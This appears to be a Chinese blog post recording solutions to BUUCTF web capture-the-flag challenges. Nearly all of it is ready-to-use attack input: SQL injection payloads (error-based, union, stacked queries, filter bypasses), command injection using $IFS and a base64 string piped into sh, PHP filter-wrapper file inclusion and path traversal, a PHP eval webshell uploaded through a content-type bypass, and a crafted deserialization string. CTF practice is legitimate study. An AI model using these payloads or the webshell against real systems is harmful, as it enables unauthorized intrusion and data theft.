下面的内容纯瞎玩,看不懂命令可随时私聊,但是不给你具体讲题,因为我也不会讲,但是可以做出来,只是单纯记录下做题命令,方便以后查看解题思路 若有错误,欢迎指正。
原文链接:https://www.cnblogs.com/guoli0628
1、[极客大挑战 2019]EasySQL 1
- 方法一:万能公式秒了,账号输入:
'or 1#
或者1' or 1=1' #
密码随便 - 方法二:完整思路,账号输入:
1'
//查看是否有回显,密码随便
至于
concat
或者
'~'
啥意思,读者自己搜去吧,建议先了解这些再做题
若有回显则找数据库(或者跳过这一步,直接去下面那条database()找表,
updatexml
和
'~'
可以换的,具体看题过滤了那些字符):
爆库:
'or updatexml(1,concat('~',(select database())),1)#
爆表:
1' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='geek')),1)#
//表是geekuser
爆字段(列):
'or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='geekuser')),1) #
//查到字段是id,username,password
用substr分割字符串查看:
'or updatexml(1,concat('~',substr((select concat(username,'~',password) from geekuser limit 0, 1),1,32)),1) #
//查到前32个字符:~ in_fact~This_question_is_very_s’
'or updatexml(1,concat('~',substr((select concat(username,'~',password) from geekuser limit 0, 1),9,32)),1) #
//从第9个字符往后再查32个可看到完整密码:~ This_question_is_very_simple
账号输入:
in_fact
密码输入:
This_question_is_very_simple
即可
2、[极客大挑战 2019]Havefun
F12查看源代码,看懂注释后在上面地址栏后面加上:
?cat=dog
秒了
3、[HCTF 2018]WarmUp
F12查看源代码,看懂注释后在上面地址栏后面加上:
/source.php
分析明白后,把/source.php换成:
/hint.php
这就知道flag在那个目录下了,把/hint.php换成:
?file=source.php?../../../../../ffffllllaaaagggg
回车OK
4、[ACTF2020 新生赛]Include
点击tips,看到地址后缀是文件包含,这玩意要用到PHP伪协议,把后面
/?file=flag.php
换成
?file=php://filter/read=convert.base64-encode/resource=flag.php
看到的是base64编码,去在线网站解一下即可
5、[ACTF2020 新生赛]Exec
F12源代码,看到有baidu,ping:
baidu.com
看到有回显,加上
;
(执行完接着执行同一行的下一条,类似堆叠注入)和linux命令
ls
:
baidu.com ; ls
看到有index.php,那就和上个题差不多叠加…/往前翻:
baidu.com ; ls ../../../
看到flag后
baidu.com ; cd ../../../;cat flag
这个叠加三个就可以看到,
或者根据经验悄悄告诉你大都藏在根目录下,你可以直接:
baidu.com ; cat /flag
6、[GXYCTF2019]Ping Ping Ping
首先F12看注释,嘿嘿骗你的,啥也没有,那就随便Ping喽,你可以
/?ip=1;ls
也可以回显文件,但127.0.0.1这个地址可以ping通(虽然没啥用,但做别的题可以优先考虑,比如上一题,你也可以(ping127.0.0.1),地址栏后面加:
/?ip=127.0.0.1;ls
记得多等两秒,需要加载,别看到没反应就切屏
看到index.php和flag.php,想直接cat flag.php,但不行,直接告诉你吧,先空格绕过,你去看index.php:
?ip=127.0.0.1;$IFS$9cat$IFS$9index.php
发现包括空格和flag等一堆字段都被过滤了,所以选择俩都绕过:
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
然后再F12,在注释中找到flag
或者你是否还记得第四道题,PHP伪协议那个,用base64编码绕过:
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
//Y2F0IGZsYWcucGhw是cat flag.php的base64编码
然后再F12,看注释
7、[SUCTF 2019]EasySQL注意这个不是极客,是SUCTF的EasySQL
- 方法一:
*,1
- 方法二:
1;set sql_mode=PIPES_AS_CONCAT;select 1
8、[强网杯 2019]随便注
https://cloud.tencent.com/developer/article/2352207?from_column=20421&from=20421
- 方法一:handler命令可以一行一行的显示数据表中的内容
1'; handler `1919810931114514` open as `a` ; handler `a` read next;#
- 方法二: 编码逃逸 绕过滤
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
- 方法三:利用concat拼接
1';use supersqli;set @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
- 方法四:改名
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
改名之后,再输入1' or 1#
即可查到
9、[极客大挑战 2019]LoveSQL
- 方法一:账号中输入
1' union select 1,2,group_concat(password) from l0ve1ysq1;#
密码随便 - 方法二:常规做法
- 爆字段看回显:
1' order by 3 #
正常1' order by 4#
报错,说明有三个字段 - 爆数据库:
1' union select 1,1,database();#
//geek - 爆表:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
//geekuser,l0ve1ysq1 - 爆字段(列):
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
//id,username,password - 查看字段(列)内容:
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #
10、[极客大挑战 2019]Secret File
老规矩,先F12,看到一个链接,
href="./Archive_room.php"
,点进去跳转到Archive_room.php页面,再点击SELECT进到end.php页面,什么也没有
用burp suite拦截,看到注释里有
secr3t.php
,访问得到代码,进行代码审计,看懂后是php伪协议
在地址栏后面加:
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
页面中出现base64编码,放到在线网站解码即可
11、[极客大挑战 2019]Http
GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:27557
Referer: https://Sycsecret.buuoj.cn
User-Agent: Syclover
X-Forwarded-For:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
这三行改成要求即可,如图,右面会显示flag
12、[极客大挑战 2019]Knife
下载后在空白处点击右键,添加数据
因为网站本来就是一个shell的执行页面,所以不用连接文件,直接粘贴过来网址就行,然后密码根据网页提示是Syc,测试连接,成功后再点添加数据,最上面的这条就是
双击点进去,去根目录下找flag,因为一般flag都在根目录下
13、[极客大挑战 2019]Upload
这些文件上传类型的题,假如说中间有步骤做错了,或者上传了多个文件,用蚁剑连不上,那你就销毁靶机,等一会重新启动,一次性做对,再连接就好了。包括上面那些用burp suite 修改参数的也是,重新启动环境即可
一句话木马:
GIF89a
<script language="php">@eval($_POST['pass']);</script>
新建一个 1.txt 文档,里面写上面的一句话木马,然后把后缀改成
.phtml
GIF89a
是16进制的GIF 用于绕过文件检测,
POST['']
里面是连接的密码,post请求就用post连接
在burp suite中把
Content-Type
改为
image/jpeg
然后点提交
尝试访问upload目录,可以看到上传成功
然后用蚁剑连接,网页路径后加
/upload/1.phtml
,密码是
pass
去根目录下找即可
14、[ACTF2020 新生赛]Upload
第一步:上传上面那个 1.phtml 文件,提示只能上传jpg、png、gif
那就把上面的 1.phtml 改成 1.jpg上传,注意我这里在里面改了密码 guoli
然后在bp里把 1.jpg 再改成 1.phtml,然后左上角点发送
可以看到上传成功
把后面的地址放到后面,用蚁剑连接,成功了点添加
然后在第一个点进去,去根目录找即可
15、[极客大挑战 2019]BabySQL
这是前两个的升级,采用双写绕过
测试回显:
账号:
1' ununionion seselectlect 1,2,3#
密码随便,回显正常
1' ununionion seselectlect 1,2,3,4#
就报错,所以有三个字段
后续与[极客大挑战 2019]LoveSQL原理一致,用双写绕过即可, 可以看到下面这些都被过滤了
爆当前库名:
1'ununionion seselectlect 1,2,database()#
// geek
爆所有库名:
1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
//六个库 information_schema, mysql, performance_schema, test, ctf, geek
爆ctf库的表名:
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
爆字段名:
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
查看字段内容(因为flag不在当前数据库,所以用ctf.Flag):
1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag #
16、[极客大挑战 2019]PHP
又是这个猫猫
在地址栏后面输入:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
即可得到falg
具体做法:
网页提示了有备份,猜测组合出是www.zip
常见的网站源码备份文件后缀:
.tar.gz, .zip, .rar, .tar,.php.bak, .swp,
常见的网站源码备份文件名:
web, website, backup, back, www, wwwroot, temp
猜一下组合尝试就好,或者在kali中,用dirsearch扫描常见备份后缀文件
dirsearch -u http://dae1596f-6683-41e4-8506-e4566bca64af.node5.buuoj.cn:81/ | grep -E '\.zip|\.tar\.gz|\.rar|\.php\.bak'
时间有点长,还不如猜的组合快,然后观察,其他都是500多B,只有这个是6KB,大概率是这个
在网址后面加上www.zip下载,打开如图:
打开flag,啥也不是
打开class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
代码审计,大概意思就是,如果
username= 'admine' 和 password = '100'
才会输出flag
访问index.php
unserialize():
unserialize — 从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话)
参考:https://blog.csdn.net/qq_43622442/article/details/105623384
在这里,我们可以将 php 代码 以文本的方式显示
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
在php中运行上面代码,没有环境也可以用在线网站
结果是:
O:4:"Name":2:{s:14:"Nameusername";s:6:"admine";s:14:"Namepassword";s:3:"100";}
当成员属性数目大于实际数目时才可绕过wakeup
所以我们要将 2 改为 3 或者 比二大的数字
同时,我们要将口变为 %00 若果不写 在我们复制的时候就会减少空格,然后就ok
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
17、[ACTF2020 新生赛]BackupFile
在地址栏后面加:
index.php.bak
下载下来打开和上题一样是代码审计
在地址栏后面加:
?key=123
即可得到flag
具体做法:
和上一题一样,因为标题说是BackupFile,即备份文件,所以用组合尝试,或者kali中用dirsearch扫描常见备份后缀文件
dirsearch -u http://94f3591a-a175-4d4c-978d-56ee5c6a0995.node5.buuoj.cn:81/ | grep -E '\.zip|\.tar\.gz|\.rar|\.php\.bak'
我参考了别的大佬的wp,知道了是index.php.bak,但是我扫出来文件大小和别的大小都是一样的,我也不知道他们是怎么看出来的,感觉还得是尝试组合
剩下就是,下载好打开文件,代码审计,看懂后,再地址栏后面加
?key=123
即可
18、[RoarCTF 2019]Easy Calc
打开访问网址,还是F12,发现calc.php
看注释,解释下WAF
即Web应用程序防火墙(Web Application Firewall,WAF)是一种用于保护Web应用程序的安全设备。WAF可以通过对Web应用程序的流量进行过滤和监控,识别并阻止潜在的安全威胁。WAF可以检测Web应用程序中的各种攻击,例如SQL注入、跨站点脚本攻击(XSS)、跨站请求伪造(CSRF)等,并采取相应的措施,例如拦截请求、阻止访问、记录事件等。
访问/calc.php,发现过滤掉了一些字符,包括单双引号在内的,而且num,说明只能输入传进数字,所以我们要找flag,需要绕过num
那就用chr()绕过,chr(47)就是斜杠/ ,查看根目录都有啥
? num=print_r(scandir(chr(47)));
接着用chr(),进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
19、
20、
30、[GXYCTF2019]BabySQli
账号:
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
//202cb962ac59075b964b07152d234b70是md5(123)
密码:
123
版权归原作者 九章娃 所有, 如有侵权,请联系我们删除。